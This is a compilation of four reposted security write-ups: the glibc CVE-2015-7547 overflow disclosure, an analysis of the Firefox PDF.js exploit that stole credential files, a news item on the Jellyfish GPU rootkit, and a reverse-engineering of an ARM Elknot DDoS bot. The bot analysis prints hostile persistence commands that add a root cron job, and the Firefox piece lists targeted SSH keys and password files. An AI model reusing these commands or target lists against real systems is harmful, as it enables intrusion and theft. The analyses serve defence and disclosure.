[CRITICAL] CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow

Have you ever been deep in the mines of debugging and suddenly realized that you were staring at something far more interesting than you were expecting? You are not alone! Recently a Google engineer noticed that their SSH client segfaulted every time they tried to connect to a specific host. That engineer filed a ticket to investigate the behavior and after an intense investigation we discovered the issue lay in glibc and not in SSH as we were expecting. Thanks to this engineer’s keen observation, we were able determine that the issue could result in remote code execution. We immediately began an in-depth analysis of the issue to determine whether it could be exploited, and possible fixes. We saw this as a challenge, and after some intense hacking sessions, we were able to craft a full working exploit!

In the course of our investigation, and to our surprise, we learned that the glibc maintainers had previously been alerted of the issue via their bug tracker in July, 2015. (bug). We couldn’t immediately tell whether the bug fix was underway, so we worked hard to make sure we understood the issue and then reached out to the glibc maintainers. To our delight, Florian Weimer and Carlos O’Donell of Red Hat had also been studying the bug’s impact, albeit completely independently! Due to the sensitive nature of the issue, the investigation, patch creation, and regression tests performed primarily by Florian and Carlos had continued “off-bug.”

This was an amazing coincidence, and thanks to their hard work and cooperation, we were able to translate both teams’ knowledge into a comprehensive patch and regression test to protect glibc users.

That patch is available here.


Issue Summary:

Our initial investigations showed that the issue affected all the versions of glibc since 2.9. You should definitely update if you are on an older version though. If the vulnerability is detected, machine owners may wish to take steps to mitigate the risk of an attack. The glibc DNS client side resolver is vulnerable to a stack-based buffer overflow when the getaddrinfo() library function is used. Software using this function may be exploited with attacker-controlled domain names, attacker-controlled DNS servers, or through a man-in-the-middle attack. Google has found some mitigations that may help prevent exploitation if you are not able to immediately patch your instance of glibc. The vulnerability relies on an oversized (2048+ bytes) UDP or TCP response, which is followed by another response that will overwrite the stack. Our suggested mitigation is to limit the response (i.e., via DNSMasq or similar programs) sizes accepted by the DNS resolver locally as well as to ensure that DNS queries are sent only to DNS servers which limit the response size for UDP responses with the truncation bit set.


Technical information:

glibc reserves 2048 bytes in the stack through alloca() for the DNS answer at _nss_dns_gethostbyname4_r() for hosting responses to a DNS query. Later on, at send_dg() and send_vc(), if the response is larger than 2048 bytes, a new buffer is allocated from the heap and all the information (buffer pointer, new buffer size and response size) is updated. Under certain conditions a mismatch between the stack buffer and the new heap allocation will happen. The final effect is that the stack buffer will be used to store the DNS response, even though the response is larger than the stack buffer and a heap buffer was allocated. This behavior leads to the stack buffer overflow. The vectors to trigger this buffer overflow are very common and can include ssh, sudo, and curl. We are confident that the exploitation vectors are diverse and widespread; we have not attempted to enumerate these vectors further.


Remote code execution is possible, but not straightforward. It requires bypassing the security mitigations present on the system, such as ASLR. We will not release our exploit code, but a non-weaponized Proof of Concept has been made available simultaneously with this blog post. With this Proof of Concept, you can verify if you are affected by this issue, and verify any mitigations you may wish to enact. As you can see in the below debugging session we are able to reliably control EIP/RIP.

(gdb) x/i $rip => 0x7fe156f0ccce <_nss_dns_gethostbyname4_r+398>: req (gdb) x/a $rsp 0x7fff56fd8a48: 0x4242424242424242 0x4242424242420042

When code crashes unexpectedly, it can be a sign of something much more significant than it appears; ignore crashes at your peril! Failed exploit indicators, due to ASLR, can range from:

  • Crash on free(ptr) where ptr is controlled by the attacker.
  • Crash on free(ptr) where ptr is semi-controlled by the attacker since ptr has to be a valid readable address.
  • Crash reading from memory pointed by a local overwritten variable.
  • Crash writing to memory on an attacker-controlled pointer.

We would like to thank Neel Mehta, Thomas Garnier, Gynvael Coldwind, Michael Schaller, Tom Payne, Michael Haro, Damian Menscher, Matt Brown, Yunhong Gu, Florian Weimer, Carlos O’Donell and the rest of the glibc team for their help figuring out all details about this bug, exploitation, and patch development.



Credit:  Fermin J. Serna and Kevin Stadmeyer

Firefox Under Fire: Anatomy of latest 0-day attack

On the August 6th, the Mozilla Foundation released a security update for the Firefox web browser that fixes the CVE-2015-4495 vulnerability in Firefox’s embedded PDF viewer, PDF.js. This vulnerability allows attackers to bypass the same-origin policy and execute JavaScript remotely that will be interpreted in the local file context. This, in turn, allows attackers to read and write files on local machine as well as upload them to a remote server. The exploit for this vulnerability is being actively used in the wild, so Firefox users are advised to update to the latest version (39.0.3 at the time of writing) immediately.

In this blog we provide an analysis of two versions of the script and share details about the associated attacks against Windows, Linux and OS X systems.

According to ESET’s LiveGrid® telemetry, the server at the IP address, which was hosting the malicious script, has been up since July 27, 2015. Also we can find corroboration on one of the compromised forums:


Operatives from the Department on Combating Cybercrime of the Ministry of Internal Affairs of Ukraine, who responded promptly to our notification, have also confirmed that the malicious exfiltration server, hosted in Ukraine, has been online since July 27, 2015.

According to our monitoring of the threat, the server became inactive on August 8, 2015.


The script

The script used is not obfuscated and easy to analyze. Nevertheless, the code shows that the attackers had good knowledge of Firefox internals.

The malicious script creates an IFRAME with an empty PDF blob. When Firefox is about to open the PDF blob with the internal PDF viewer (PDF.js), new code is injected into the IFRAME (Figure 2). When this code executes, a new sandboxContext property is created within wrappedJSObject. A JavaScript function is written to the sandboxContext property. This function will later be invoked by subsequent code. Together, these steps lead to the successful bypass of the same-origin policy.

Code that creates sandboxContext property

The exploit is very reliable and works smoothly. However, it may display a warning which can catch the attention of tech-savvy users.

The warning message showed on compromised site

After successful exploitation of the bug, execution passes to the exfiltration part of code. The script supports both the Linux and Windows platforms. On Windows it searches for configuration files belonging to popular FTP clients (such as FileZilla, SmartFTP and others), SVN client, instant messaging clients (Psi+ and Pidgin), and the Amazon S3 client.

The list of collected files on Windows at the first stage of attack

These configuration files may contain saved login and password details.

On the Linux systems, the script sends following files to the remote server:

  • /etc/passwd
  • /etc/hosts
  • /etc/hostname
  • /etc/issue

It also parses the /etc/passwd file in the order to get the home directories (homedir) of users on the system. The script then searches files by mask in the home directories collected, and it avoids searching in the home directories of standard system users (such as daemon, bin, sys, sync and so forth).

The list of collected files on Linux at stage 1 of attack

It collects and uploads such files as:

  • history (bash, MySQL, PostgreSQL)
  • SSH related configuration files and authorization keys
  • Configuration files for remote access software – Remmina
  • FileZilla configuration files
  • PSI+ configuration
  • text files with possible credentials and shell scripts

As is evident here, the purpose of the first version of the malicious script was to gather data used mostly by webmasters and site administrators. This allowed attackers to move on to compromising more websites.


The second version

The day after Mozilla released the patch for Firefox the attackers decided to go “all-in”: they registered two new domains and improved their script.

The two new malicious domains were maxcdnn[.]com ( and acintcdn[.]net ( The second IP address is the same one as used in the first version. Attackers selected these names because the domains look as if they belong to a content delivery network (CDN).

The improved script on the Windows platform not only collects configuration files for applications; it also collects text files containing almost all combinations of words of possible value to attackers (such as password, accounts, bitcoins, credit cards, exploits, certificates, and so on):

List of files collected on Windows during the second attack stage

The attackers improved the Linux script by adding new files to collect and also developed code that works on the Mac OS X operating system:

List of files collected on Macs during the second stage of an attack

Some Russian-speaking commentators misattributed this code to the Duqu malware, because some variables in the code have the text “dq” in them.


A copycat attack

Since the bug is easy to exploit and a working copy of the script is available to cybercriminals, different attackers have started to use it. We have seen that various groups quickly adopted the exploit and started to serve it, mostly on adult sites from google-user-cache[.]com (

This malicious script does all the same things as the original script, but it collects different files:

The list of collected files used in copycat attack



The recent Firefox attacks are an example of active in-the-wild exploitation of a serious software vulnerability. The exploit shows that the malware-writers had a deep knowledge of Firefox internals. It is also an interesting one, since in most cases, exploits are used as an infection vector for other data-stealing trojans. In this instance, however, that was not necessary, because the malicious script alone was able to steal sensitive files from victims’ systems.

Additionally, the exploit started to be reused by other malware operators shortly after its discovery. This is common practice in the malware world.

ESET detects the malicious scripts as JS/Exploit.CVE-2015-4495. We also urge Firefox users to update their browser to the patched version (39.0.3). The internal Firefox PDF reader can also be disabled by changing the pdfjs.disabled setting to true.


Indicators of Compromise

A partial list of compromised servers:








Servers used in attack:

maxcdnn[.]com (

acintcdn[.]net (

google-user-cache[.]com (

Hashes (MD5):






Credit:  Anton Cherepanov

New GPU-based Linux Rootkit and Keylogger | Proof-of-concept GPU rootkit hides in VRAM, snoops system activities


A team of coders have published a new “educational” rootkit, dubbed Jellyfish, that’s virtually undetectable by current software practices. Their work is designed to demonstrate that GPUs, which have become considerably more powerful and flexible over the past decade, are now capable of running keyloggers and rootkits.

The world of hacking has become more organized and reliable over recent years and so the techniques of hackers.
Nowadays, attackers use highly sophisticated tactics and often go to extraordinary lengths in order to mount an attack.
And there is something new to the list:
A team of developers has created not one, but two pieces of malware that run on an infected computer’s graphics processor unit (GPU) instead of its central processor unit (CPU), in order to enhance their stealthiness and computational efficiency.

The two pieces of malware:

The source code of both the Jellyfish Rootkit and the Demon keylogger, which are described as proof-of-concepts malware, have been published on Github.
Until now, security researchers have discovered nasty malware running on the CPU and exploiting the GPU capabilities in an attempt to mine cryptocurrencies such as Bitcoins.
However, these two malware could operate without exploiting or modifying the processes in the operating system kernel, and this is why they do not trigger any suspicion that a system is infected and remain hidden.



Jellyfish is capable of running on Nvidia, AMD, and Intel hardware (this last thanks to support from AMD’s APP SDK). The advantage of using a GPU to perform system snooping and keylogging is substantial. If you stop and think about it, there are a variety of methods to determine exactly what is running on your CPU. From the Windows Task Manager to applications like Process Explorer, there are built-in or free tools that will help you isolate exactly which processes are being called and what those processes are doing. Malware detection software is more complex, but it offers an even deeper window into process analysis.

Contrast that with GPUs. In terms of freeware utilities, you’ve got GPU-Z and a handful of other applications that provide a similar “GPU Load” monitoring function. Nvidia, AMD, and Intel all provide some basic profiling tools that can be used to analyze a GPU’s performance in a specific application, but these toolkits plug into existing software packages, like Visual Studio. They don’t take a snapshot of what’s running on the GPU in general — they allow you to monitor code that you’ve explicitly told to run on the GPU.


Hackers and researchers have been exploring more of what a GPU can be used for and come away with some interesting results, including a project last year that turned a graphics card into a keylogger. As they noted at the time, “By instructing the GPU to carefully monitor via DMA the physical page where the keyboard buffer resides, a GPU-based keylogger can record all user keystrokes and store them in the memory space of the GPU.”

For those of you wondering about using a simple GPU load monitor to catch this work, it’s not really feasible — the estimated CPU and GPU utilization was ~0.1%. The Jellyfish rootkit discussed above doesn’t just have the ability to transmit information back across a network — it can theoretically remain resident in between warm reboots of the target system.


New GPU-based Linux Rootkit and Keylogger with Excellent Stealth and Computing Power


Jellyfish rootkit is a proof-of-concept malware code designed to show that running malware on GPUs is practically possible, as dedicated graphics cards have their processors and memory.
These types of rootkits could snoop on the CPU host memory through DMA (direct memory access), which allows hardware components to read the main system memory without going through the CPU, making such actions harder to detect.

The pseudo-anonymous developers describe their Jellyfish Rootkit as:

Jellyfish is a Linux based userland gpu rootkit proof of concept project utilizing the LD_PRELOAD technique from Jynx (CPU), as well as the OpenCL API developed by Khronos group (GPU). Code currently supports AMD and NVIDIA graphics cards. However, the AMDAPPSDK does support Intel as well.

Advantages of GPU stored memory:

  • No GPU malware analysis tools are available on the Internet
  • Can snoop on CPU host memory via DMA (direct memory access)
  • GPU can be used for fast/swift mathematical calculations like parsing or XORing
  • Stubs
  • Malicious memory is still inside GPU after device shutdown

Requirements for use:

  • Have OpenCL drivers/icds installed
  • Nvidia or AMD graphics card (Intel supports AMD’s SDK)
  • Change line 103 in rootkit/kit.c to server ip you want to monitor GPU client from

Stay tuned for more features:

  • client listener; let buffers stay stored in GPU until you send a magic packet from the server
The anonymous developers of the rootkit warned people that Jellyfish is a proof-of-concept malware and still a work in progress so that it can contain flaws. The code published on Github is intended to be used for educational purposes only.



Moreover, the developers also built a separate, GPU-based keylogger, dubbed Demon though they did not provide any technical details about the tool.
Demon keylogger is also a proof-of-concept that is inspired by the malware described in a 2013 academic research paper [PDF] titled “You Can Type, but You Can’t Hide: A Stealthy GPU-based Keylogger,” but the developers stressed that they were not working with the researchers.
We are not associated with the creators of this paper,” the Demon developers said. “We only PoC’d what was described in it, plus a little more.
As described in the research paper, GPU-based keystroke logger consists of two main components:
  • A CPU-based component that is executed once, during the bootstrap phase, with the task of locating the address of the keyboard buffer in main memory.
  • A GPU-based component that monitors, via DMA, the keyboard buffer, and records all keystroke events.
However, users may not worry about cyber criminals or hackers using GPU-based malware yet, but proof-of-concepts malware such as Jellyfish Rootkit and Demon keylogger could inspire future developments.


How do we fix this?

It seems likely that malware detection methods will have to evolve to scan the GPU as well as the CPU, but it’s not clear how easy that’s going to be. The keylogger research team noted that Nvidia’s CUDA environment did offer the ability to attach to a running process and monitor its actions, but states that this is currently Nvidia-specific and of only limited (though important) use.

Software detection methods are going to need to fundamentally step up their game. Malware researchers tend to use virtual machines (for all the reasons you’d imagine), but these applications are not designed to support GPU API virtualization. That’s going to need to change if we’re going to protect systems from code running on GPUs.

Given the fact that code running on the GPU is almost untraceable today, it wouldn’t surprise me in the slightest to discover that state governments had already exploited these detection weaknesses. White hats, start your engines. Jellyfish is a Linux utility for now, but nothing in the literature suggests that this issue is unique to that operating system.




Credit: extremetech


MMD-0026-2014 – Router Malware Warning | Reversing an ARM arch ELF Elknot (China DDoS malware)

The background

It is one of our active project to monitor the China origin ELF DDoS’er malware threat. The growth is very rapid nowadays, MMD detected 5 variants is active under almost 15 panels scattered in China network. I am quite active in supporting the team members of this project, so recently almost everyday I reverse ELF files between 5-10 binaries. They are not aiming servers with x32 or x64 architecture but the router devices that runs on Linux too. In some cases I found the FreeBSD variant.

In this story I faced an ARM architecture binary, which I found it interesting so I decided to share it here. The reason is because, practically: it was designed to work in ARM router with minimizing a well-known Linux/Elknot functions/features, that I previously posted in —>[-1-] [-2-] [-3-] [-4-] [-5-] [-6-], to specifically infect ARM (router) devices, and this binary is trying to convince that it is a WindowsHelp binary 😀 , and ,specifically: from my reverse engineering point of view, ARM & “thumb” assembly are interesting.
Why I know it is aiming for router is because, the way to use internet to connect directly to remote global IP, the method used to grab data using specific location in the embedded device, and the trace of sources used during the compilation of the malware itself.

The malware

As usual, China actor(s) serves their malware binary under “specific panel”, and this binary is spotted among with other Linux/Elknots malware. So as you can see it was served from Sept 10th and is having 4 downloads (including me, one time)

The file looks like this:

$ ls -alF 1
-rwxr--r--  1 mmd  mmd  165,176 Sep 10 10:21 1
$ md5 1
MD5 (1) = 0bb68bd65d94f61b7b20117b99d8526c
$ file 1
1: ELF 32-bit LSB executable, ARM, version 1 (GNU/Linux), statically linked, stripped

Well, we know is an ARM binary, but I need more information, so I check the ELF composition:

  Entry point address:  "0x2f118"
  Start of program headers: "52" (bytes into file)
  Start of section headers: "0" (bytes into file)
  Flags: "0x4000002", has entry point, "Version4 EABI"
  Size of this header: "52" (bytes)
  Size of program headers: "32" (bytes)
  Number of program headers: "2"
  Size of section headers: "40" (bytes)
  Number of section headers: "0"
  Section header string table index: "0"
Program Headers:
  Type     Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD     "0x000000 0x00008000 0x00008000 0x282b1 0x282b1 R E 0x8000"
  LOAD     "0x000c24 0x000d0c24 0x000d0c24 0x00000 0x00000 RW  0x8000"

Now it’s time for calculating the data, we know the size and we see the each LOAD headers size which is just unfit, further, I don’t see any section (either dynamic or static) nor relocation data that I can expect from an ARM ELF (they should have more symbols), which is strange. This a sign of protection, someone want to hide something, in the end that person is hiding EVERYTHING which ending up to be very suspicious 🙂 – So the binary could be packed or encrypted protection, we have many possibility.


Let’s check, I went to the EP point (0x2f118) and start to do the stuff I usually do, with noted..we have to be very patient with the ARM or THUMB assembly since they have larger steps for simple operation than Intel processor.

;-- entry0:
0x0002f118  adr     r12, off_2f104
0x0002f11c  ldmia   r12, {r1,r2,r10,r11,lr}
0x0002f120  add     r10, r10, r12
0x0002f124  add     r11, r11, r12
0x0002f128  mov     r0, r2
0x0002f12c  sub     r9, r12, r1
0x0002f130  add     r1, r1, #0x1000
0x0002f134  mov     r3, #0
0x0002f138  stmfd   sp!, {r0-r3,lr}
0x0002f13c  mov     r2, #7
0x0002f140  ldr     r3, [r12,#0x10]
0x0002f144  mov     r5, #0
0x0002f148  mov     r4, 0xffffffff
0x0002f14c  orr     r3, r3, #0x10
0x0002f150  mov     r7, #0xc0
0x0002f154  svc     0
0x0002f158  cmn     r0, #0x1000
0x0002f15c  bcs     loc_0x02fbd0

..following the registers value and in r1 we will find the value that can tell what is happening:

0x0002fbd0  mov  r2, #0x1e
0x0002fbd4  adr  r1, aprot_execprot_ ; ""PROT_EXEC|PROT_WRITE failed.\n""
0x0002fbd8  mov  r0, #2
0x0002fbdc  mov  r7, #4
0x0002fbe0  svc  0

This value may ring your bells too :). ok this ELF is protected, with/for what? I look from its DCB data from where it was called and clarifying the answer:

0x0002FBF0 aProt_execProt_ DCB "PROT_EXEC|PROT_WRITE failed.",0xA,0
0x0002FC0E                 DCB 0xA,0
0x0002FC10 aInfoThisFileIs DCB 0x24,"Info: This file is packed with the UPX executable packer http:/"
0x0002FC10                 DCB "/upx.sf.net ",0x24,0xA,0
0x0002FC5F aIdUpx3_91Copyr DCB 0x24,"Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights R"
0x0002FC5F                 DCB "eserved. ",0x24,0xA,0
0x0002FCAB                 DCB 0x0 ;; here goes the table..
0x0002FCAC                 DCD 0x9A8, 0x5F9, 0x500E, 0x6C00031A, 0x942C5302, 0x18D063CB
0x0002FCAC                 DCD 0x49382EE, 0xD185E779, 0x57399E2E, 0xD24C892F, 0x1003EA02
0x0002FCAC                 DCD 0x6A5A70C9, 0x2F701D6A, 0x6D0D9A7, 0xD2EC6754, 0x95ECE49
[...]                      [...]

Oh, silly me.. it is a UPX, but, is it common and not modded one? So I went back to check the hex snapshot, to confirm..

00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 28 00 01 00 00 00  18 f1 02 00 34 00 00 00  |..(.........4...|
00000020  00 00 00 00 02 00 00 04  34 00 20 00 02 00 28 00  |........4.(.|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 80 00 00  |................|
00000040  00 80 00 00 b1 82 02 00  b1 82 02 00 05 00 00 00  |................|
00000050  00 80 00 00 01 00 00 00  24 0c 00 00 24 0c 0d 00  |........$...$...|
00000060  24 0c 0d 00 00 00 00 00  00 00 00 00 06 00 00 00  |$...............|
00000070  00 80 00 00 93 cc 51 fc  55 50 58 21 b4 11 0d 17  |......Q.UPX!....|
00000080  00 00 00 00 58 64 08 00  58 64 08 00 d4 00 00 00  |....Xd..Xd......|

Since I know that some moronz is really watching this blog too. I don’t want to be specific on this, but from reading the hex above we can recognize the originality of this UPX, which it is. Otherwise you have patch it to depack, sample a way to depack the custom UPX is in here–>[LINK]. Further.. as this is the common UPX, and the “U” stands for universal & we can do “universal” solution too to unpack 🙂

549976 <-    165176   30.03%   linux/armel   unpacked.1

So now we have the bigger file size 😀
This time let’s check the composition again:

00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 28 00 01 00 00 00  10 81 00 00 34 00 00 00  |..(.........4...|
00000020  f8 5f 08 00 02 00 00 04  34 00 20 00 05 00 28 00  |._......4.(.|
00000030  1c 00 1b 00 01 00 00 70  5c bb 07 00 5c 3b 08 00  |.......p\...\;..|
00000040  5c 3b 08 00 00 09 00 00  00 09 00 00 04 00 00 00  |\;..............|
00000050  04 00 00 00 01 00 00 00  00 00 00 00 00 80 00 00  |................|
00000060  00 80 00 00 dc c4 07 00  dc c4 07 00 05 00 00 00  |................|
00000070  00 80 00 00 01 00 00 00  dc c4 07 00 dc c4 08 00  |................|
00000080  dc c4 08 00 4c 0a 00 00  48 47 04 00 06 00 00 00  |....L...HG......|
00000090  00 80 00 00 04 00 00 00  d4 00 00 00 d4 80 00 00  |................|
000000a0  d4 80 00 00 20 00 00 00  20 00 00 00 04 00 00 00  |........|
000000b0  04 00 00 00 07 00 00 00  dc c4 07 00 dc c4 08 00  |................|
000000c0  dc c4 08 00 14 00 00 00  30 00 00 00 04 00 00 00  |........0.......|
000000d0  04 00 00 00 04 00 00 00  10 00 00 00 01 00 00 00  |................|
000000e0  47 4e 55 00 00 00 00 00  02 00 00 00 06 00 00 00  |GNU.............|

Yeah, the “GNU” ascii appears now. And, see more details below:

Entry point address: "0x8110"
Start of program headers:  "52" (bytes into file)
Start of section headers:  "548,856" (bytes into file)
Flags:   "0x4000002", has entry point, "Version4 EABI"
Size of this header: "52" (bytes)
Size of program headers:   "32" (bytes)
Number of program headers:   "5"
Size of section headers:   "40" (bytes)
Number of section headers:   "28"
Section header string table index: "27"

Good! the true EP is shown now. And we have the new program headers too:

Type     Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
EXIDX    "0x07bb5c 0x00083b5c 0x00083b5c 0x00900 0x00900" R   0x4
LOAD     "0x000000 0x00008000 0x00008000 0x7c4dc 0x7c4dc" R E 0x8000
LOAD     "0x07c4dc 0x0008c4dc 0x0008c4dc 0x00a4c 0x44748" RW  0x8000
NOTE     "0x0000d4 0x000080d4 0x000080d4 0x00020 0x00020" R   0x4
TLS      "0x07c4dc 0x0008c4dc 0x0008c4dc 0x00014 0x00030" R   0x4

A quick calculation of the size above shows that at least we have accuracy to more than 80% to the actual size now, good enough. It showed we have unprotected/unpacked data and so I can expect good material to disassembly it, but firstly, let’s dump the sections to be sure that we have no more encryption/protection:


all are there!)) So after small additional confirmation, these are the section I picked to start analysis:

Name               Addr     Off    Size
.text              0x08110 0x00110 0x6605c
.rodata            0x6f008 0x67008 0x149a0
__libc_freeres_fn  0x6e16c 0x6616c 0x00df4

To verdict its malicious process by reverse engineering

I will go to the reversing highlights, meanings..the most important process only. I don’t write the sub functions, i.e. how it grabs the ethernet data, or how this malware use socket to connect an IP, for example, since the code is too long. But to be noted, since ARM architecture has different structure than Intel, and ARM is designed for the embedded systems, you will see many different method for the detail operation that is involving with the system calls.
OK, here are the highlights that I would like to cover;

1. Installation:

Malware changes attribute & chmod the crontab, this is a bit specific setup that rarely found in the previous Elknot type, suggesting a new built, previously most of them are aiming autostart at the xinetd for autostart installation.

.text:0x0A760  STMFD   SP!, {R4-R8,LR}
.text:0x0A764  SUB  SP, SP, #0x208
.text:0x0A768  ADD  R7, SP, #0x108
.text:0x0A76C  MOV  R4, R0
.text:0x0A770  MOV  R8, R1
.text:0x0A774  MOV  R0, R7
.text:0x0A778  MOV  R1, #0x100
.text:0x0A77C  BL   sub_0x026FB0
.text:0x0A780  LDR  R0,  <-- "chattr -i /etc/crontab"
.text:0x0A784  BL   sub_0x0E3E0
.text:0x0A788  LDR  R0, <-- "chmod +w /etc/crontab"

Adding the autostart entry in it:

.text:0x0A7DC ; xref: sub_0x0A760
.text:0x0A7DC  LDR  R1, <-- "sed -i '/%s/d' /etc/crontab"
.text:0x0A7E0  MOV  R2, R5
.text:0x0A7E4  MOV  R0, R6
.text:0x0A800  LDR  R1, <-- "echo '*/1 * * * * root %s/%s %s' >> /etc/crontab"
.text:0x0A804  STR  R8, [SP,#0x108+var_108]
.text:0x0A808  BL   sub_0x0182DC
.text:0x0A80C  MOV  R0, R6
.text:0x0A810  BL   sub_0x0E3E0

Create the file: “/etc/.mysys”, which later on found as the self copy attempt.

.text:0x0A83C  STR  LR, [SP,#var_4]!
.text:0x0A840  MOV  R1, #0x42
.text:0x0A844  SUB  SP, SP, #4
.text:0x0A848  LDR  R0, <-- "/etc/.mysys"
.text:0x0A84C  BL   sub_0x0E350
.text:0x0A850  CMP  R0, #0
.text:0x0A854  MOV  R1, #6
.text:0x0A858  BGT  loc_0x0A86C

2. Initiation of the service… which lead to CNC information 🙂

We’ll see 3 thread will be spawned, which using “/dev/null” as value, this is typical MO for most types of Linux/Elknot.I saw.

.text:0x082E0  LDR  R0, <-- "/dev/null"
.text:0x082E4  BL   sub_0x0E350 ;
.text:0x082E8  MOV  R1, #2
.text:0x082EC  LDR  R0, <-- "/dev/null"
.text:0x082F0  BL   sub_0x0E350
.text:0x082F4  MOV  R1, #2
.text:0x082F8  LDR  R0, <-- "/dev/null"
.text:0x082FC  BL   sub_0x0E350

..following with “effortS” to start the service:

.text:0x0831C  LDR  R0, [R5]
.text:0x08320  LDR  R1, <-- "mt"
.text:0x08324  BL   sub_0x0A760
.text:0x08328  MOV  R0, #1
.text:0x0832C  MOV  R1, R0
.text:0x08330  BL   sub_0x01614C
.text:0x08334  LDR  R0, <-- reg RO = "Int Server..."
.text:0x08338  BL   sub_0x018F2C
.text:0x0833C  MOV  R1, R4
.text:0x08340  MOV  R3, R4
.text:0x08344  LDR  R2, =sub_0x08A60
.text:0x08348  LDR  R0, =unk_0x0D0990
.text:0x0834C  BL   sub_0x0B33C
.text:0x08350  MOV  R1, R4
.text:0x08354  MOV  R3, R4
.text:0x08358  LDR  R2, =sub_0x088D8
.text:0x0835C  LDR  R0, =unk_0x0D0988
.text:0x08360  BL   sub_0x0B33C
.text:0x08364  MOV  R1, R4
.text:0x08368  MOV  R3, R4
.text:0x0836C  LDR  R2, =sub_0x08598
.text:0x08370  LDR  R0, =unk_0x09097C
.text:0x08374  BL   sub_0x0B33C
.text:0x08378  MOV  R1, R4
.text:0x0837C  MOV  R3, R4

To connect to “something”. I trailed it to get all variables needed:

.text:0x08394  LDR  R0, <-- RO contains "connect to server..."
.text:0x08398  BL   sub_0x018F2C
.text:0x0839C  MOV  R1, #0
.text:0x083A0  MOV  R3, R1
.text:0x083A4  LDR  R2, =sub_0x0A038 <--"jump here"
.text:0x0A038  STMFD   SP!, {R4-R10,LR}
.text:0x0A03C  SUB     SP, SP, #0x9C0
.text:0x0A040  BL      sub_0x09E68 <--"jump again here"

And the destination 0x09E68 there is the IP address of this connection.

.text:0x09E68 LDR  R0, =unk_0x08C5C4  <-- address to get the CNC IP Address
.text:0x09E68 <-- go down to hard-copied data:0x08C5C8 it's the IP ""

Now we know the CNC is in which is in:


..well, I am not surprised.

3. An effort to fake Windows Help (WinHelp.exe) service 🙂

Continuing the data flow started above, I end-up facing an interesting data:

.text:0x09E68 LDR  R0, =unk_0x08C5C4
.text:0x09E6C STMFD   SP!, {R4-R8,R10,LR}
.text:0x09E70 LDR  R2, [R0,#(dword_0x08C62C - 0x08C5C4)]

The data after dword in .data:0x08C62C is the .data:0x08C630 (DCB) which is “WinHelp32.exe”, see it here if you don’t believe me:

This is just unbelievable, seeking further to figure what is this, I found the complete set of data for this “fake process” which is a self explanatory:

I don’t know what to say about this..

4. PoC of backdoor and sending sensitive data to remote host:

It’s self explanatory in the codes below, the BackConnect part:

.text:0x08420 ; .text:off_0x08408
.text:0x08420  STMFD   SP!, {R4,LR}
.text:0x08424  LDR  R4, =dword_0x0D0984
.text:0x08428 ; xref: sub_0x08420
.text:0x08428  LDR  R0, <---- "Back connect to server..."
.text:0x0842C  BL   sub_0x018F2C
.text:0x08430  MOV  R1, #0
.text:0x08434  MOV  R3, R1
.text:0x08438  LDR  R2, =sub_0x099E0
.text:0x0843C  LDR  R0, =dword_0x0D0984
.text:0x08440  BL   sub_0x0B33C
.text:0x08444  MOV  R1, #0
.text:0x08448  LDR  R0, [R4]
.text:0x0844C  BL   sub_0x0C4FC
.text:0x08450  LDR  R0, [R4]
.text:0x08454  BL   sub_0x0E070
.text:0x08458  LDR  R0, =0x4C4B40
.text:0x0845C  BL   sub_0x0272F0
.text:0x08460  B    loc_0x08428

And the trace of information to be sent to remote:

.text:0x08500  STMFD   SP!, {R4,R5,LR}
.text:0x08504  LDR  R1, =dword_0x090980
.text:0x08508  SUB  SP, SP, #0x400
.text:0x0850C  SUB  SP, SP, #0xC
.text:0x08510  LDR  R2, =dword_0x090978
.text:0x08514  LDR  R12, [R1]
.text:0x08518  ADD  R4, SP, #0x418+var_410
.text:0x0851C  LDR  R3, [R2]
.text:0x08520  MOV  R1, #0x400
.text:0x08524  LDR  R2  <--- "INFO:%d|%d"
.text:0x08528  MOV  R0, R4
.text:0x0852C  STR  R12, [SP,#0x418+var_418]
.text:0x08530  BL   sub_0x0182B0
.text:0x08534  LDR  R3, =dword_0x08CF44
.text:0x08538  MOV  R0, R4
.text:0x0853C  LDR  R5, [R3]
.text:0x08540  BL   sub_0x024540
.text:0x08544  MOV  R1, R4
.text:0x08548  ADD  R2, R0, #1
.text:0x0854C  MOV  R0, R5
.text:0x08550  BL   sub_0x0DF10
.text:0x08554  LDR  R3, =dword_0x08CF48
.text:0x08558  MOV  R0, R4
.text:0x0855C  LDR  R5, [R3]
.text:0x08560  BL   sub_0x024540
.text:0x08564  MOV  R1, R4
.text:0x08568  ADD  R2, R0, #1
.text:0x0856C  MOV  R0, R5
.text:0x08570  BL   sub_0x0DF10
.text:0x08574  ADD  SP, SP, #0xC
.text:0x08578  ADD  SP, SP, #0x400
.text:0x0857C  LDMFD   SP!, {R4,R5,LR}
.text:0x08580  BX   LR

5. The HTTP header used for DoS activity:

This is the function to be called when performing DoS by HTTP, I pasted it here as PoC of DDoS’er, please bear the length:

.text:0x0A548  LDR  R1 <--- " HTTP/1.1\r\n"
.text:0x0A54C  MOV  R2, #0xB
.text:0x0A550  ADD  R0, R8, R5
.text:0x0A554  BL   sub_0x0252B8
.text:0x0A558  ADD  R0, R5, #0xB
.text:0x0A55C  LDR  R1 <--- "Accept: text/html, application/xhtml+xml, */*\r\n"
.text:0x0A560  MOV  R2, #0x2F
.text:0x0A564  ADD  R0, R8, R0
.text:0x0A568  BL   sub_0x0252B8
.text:0x0A56C  ADD  R0, R5, #0x3A
.text:0x0A570  LDR  R1 <--- "Accept-Language: zh-CN\r\n"
                      "↑please noted this CHINESE character encoding↑"
.text:0x0A574  MOV  R2, #0x18
.text:0x0A578  ADD  R0, R8, R0
.text:0x0A57C  BL   sub_0x0252B8
.text:0x0A580  ADD  R0, R5, #0x52
.text:0x0A584  LDR  R1 <--- "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\r\n"
.text:0x0A588  MOV  R2, #0x55
.text:0x0A58C  ADD  R0, R8, R0
.text:0x0A590  BL   sub_0x0252B8
.text:0x0A594  ADD  R0, R5, #0xA7
.text:0x0A598  LDR  R1 <--- "Accept-Encoding: gzip, deflate\r\n"
